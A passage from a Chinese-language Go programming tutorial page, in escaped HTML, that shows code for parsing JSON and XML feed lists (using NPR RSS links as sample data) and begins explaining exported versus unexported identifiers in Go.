class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epackage\u003c/span\u003e main\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e (\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;encoding/json\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;log\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;os\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e Feed \u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Site \u003cspan class=\"type\"\u003estring\u003c/span\u003e \u003cspan class=\"string\"\u003e`json:\u0026#34;site\u0026#34;`\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Link \u003cspan class=\"type\"\u003estring\u003c/span\u003e \u003cspan class=\"string\"\u003e`json:\u0026#34;link\u0026#34;`\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Type \u003cspan class=\"type\"\u003estring\u003c/span\u003e \u003cspan class=\"string\"\u003e`json:\u0026#34;type\u0026#34;`\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 解析 JSON 数据\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"title\"\u003eParseJSON\u003c/span\u003e\u003cspan class=\"params\"\u003e(path \u003cspan class=\"type\"\u003estring\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e ([]*Feed, \u003cspan class=\"type\"\u003eerror\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e file, err := os.Open(path)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e err != \u003cspan class=\"literal\"\u003enil\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003enil\u003c/span\u003e, err\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 注意:打开文件之后,记得要关闭文件\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edefer\u003c/span\u003e file.Close()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 注意:文件读取后,需要结构体来解析json数据\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e files []*Feed\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e json.NewDecoder(file).Decode(\u0026amp;files)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e files, \u003cspan class=\"literal\"\u003enil\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 读取并解析 json 数据\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e path = \u003cspan class=\"string\"\u003e\u0026#34;./data.json\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e feeds, err := ParseJSON(path)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e err != \u003cspan class=\"literal\"\u003enil\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Println(\u003cspan class=\"string\"\u003e\u0026#34;error: \u0026#34;\u003c/span\u003e, err)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i, val := \u003cspan class=\"keyword\"\u003erange\u003c/span\u003e feeds {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Printf(\u003cspan class=\"string\"\u003e\u0026#34;%d - site:%s, link:%s, type:%s\u0026#34;\u003c/span\u003e, i, val.Site, val.Link, val.Type)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 解析 xml 数据到结构体中示例\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// data.xml\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;?xml version=\u003cspan class=\"string\"\u003e\u0026#34;1.0\u0026#34;\u003c/span\u003e encoding=\u003cspan class=\"string\"\u003e\u0026#34;utf-8\u0026#34;\u003c/span\u003e ?\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;content\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;item\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;site\u0026gt;npr\u0026lt;/site\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;link\u0026gt;http:\u003cspan class=\"comment\"\u003e//www.npr.org/rss/rss.php?id=1001\u0026lt;/link\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e\u0026gt;rss\u0026lt;/\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;/item\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;item\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;site\u0026gt;npr\u0026lt;/site\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;link\u0026gt;http:\u003cspan class=\"comment\"\u003e//www.npr.org/rss/rss.php?id=1002\u0026lt;/link\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e\u0026gt;rss\u0026lt;/\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;/item\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;item\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;site\u0026gt;npr\u0026lt;/site\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;link\u0026gt;http:\u003cspan class=\"comment\"\u003e//www.npr.org/rss/rss.php?id=1003\u0026lt;/link\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e\u0026gt;rss\u0026lt;/\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;/item\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;/content\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// main.go\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epackage\u003c/span\u003e main\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e (\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;encoding/xml\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;io/ioutil\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;log\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;os\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e Content \u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e XMLName xml.Name \u003cspan class=\"string\"\u003e`xml:\u0026#34;content\u0026#34;`\u003c/span\u003e \u003cspan class=\"comment\"\u003e// 指定xml中的名称\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Item []item \u003cspan class=\"string\"\u003e`xml:\u0026#34;item\u0026#34;`\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e item \u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e XMLName xml.Name \u003cspan class=\"string\"\u003e`xml:\u0026#34;item\u0026#34;`\u003c/span\u003e \u003cspan class=\"comment\"\u003e// 指定xml中的名称\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Site \u003cspan class=\"type\"\u003estring\u003c/span\u003e \u003cspan class=\"string\"\u003e`xml:\u0026#34;site\u0026#34;`\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Link \u003cspan class=\"type\"\u003estring\u003c/span\u003e \u003cspan class=\"string\"\u003e`xml:\u0026#34;link\u0026#34;`\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Type \u003cspan class=\"type\"\u003estring\u003c/span\u003e \u003cspan class=\"string\"\u003e`xml:\u0026#34;type\u0026#34;`\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 解析 XML 数据\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"title\"\u003eParseXML\u003c/span\u003e\u003cspan class=\"params\"\u003e(path \u003cspan class=\"type\"\u003estring\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e (*Content, \u003cspan class=\"type\"\u003eerror\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 读取 xml\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e data, err := ioutil.ReadFile(path)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e err != \u003cspan class=\"literal\"\u003enil\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003enil\u003c/span\u003e, err\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e con Content\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 解析 xml\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e xml.Unmarshal(data, \u0026amp;con)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u0026amp;con, \u003cspan class=\"literal\"\u003enil\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 读取并解析 xml 数据\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e xmlpath = \u003cspan class=\"string\"\u003e\u0026#34;./data.xml\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e content, err := ParseXML(xmlpath)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e err != \u003cspan class=\"literal\"\u003enil\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Println(\u003cspan class=\"string\"\u003e\u0026#34;error: \u0026#34;\u003c/span\u003e, err)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i, val := \u003cspan class=\"keyword\"\u003erange\u003c/span\u003e content.Item {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Printf(\u003cspan class=\"string\"\u003e\u0026#34;%d - site:%s, link:%s, type:%s\u0026#34;\u003c/span\u003e, i, val.Site, val.Link, val.Type)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"02-公开或未公开的标识符\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Golang/Go%E8%AF%AD%E8%A8%80%E7%BB%93%E6%9E%84%E7%B1%BB%E5%9E%8B%E8%AF%A6%E8%A7%A3/#02-%E5%85%AC%E5%BC%80%E6%88%96%E6%9C%AA%E5%85%AC%E5%BC%80%E7%9A%84%E6%A0%87%E8%AF%86%E7%AC%A6\" class=\"headerlink\" title=\"02. 公开或未公开的标识符\"\u003e\u003c/a\u003e\u003cstrong\u003e02.\u003c/strong\u003e 公开或未公开的标识符\u003c/h2\u003e\u003cp\u003e在Go语言中,声明类型、函数、方法、变量等标识符时,使用大小写字母开头来区分该标识符是否公开(即是否能在包外访问)。\u003c/p\u003e\u003cp\u003e大写字母开头表示公开,小写字母开头表示非公开。所以如果某个结构类型以及结构类型的字段,函数,方法,变量等标识符,想要被外部访问到,那必须以大写字母开头。\u003c/p\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// user 包\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epackage\u003c/span\u003e user\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 基于 int 类型声明一个 duration 类型\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 未公开的类型(以小写字母开头)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 包外部,不能直接访问\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e duration \u003cspan class=\"type\"\u003eint\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 公开的类型(以大写字母开头)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 包外部能直接访问\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e Duration \u003cspan class=\"type\"\u003eint\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 未公开的结构类型 user\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e user \u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e name \u003cspan class=\"type\"\u003estring\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 公开的结构类型 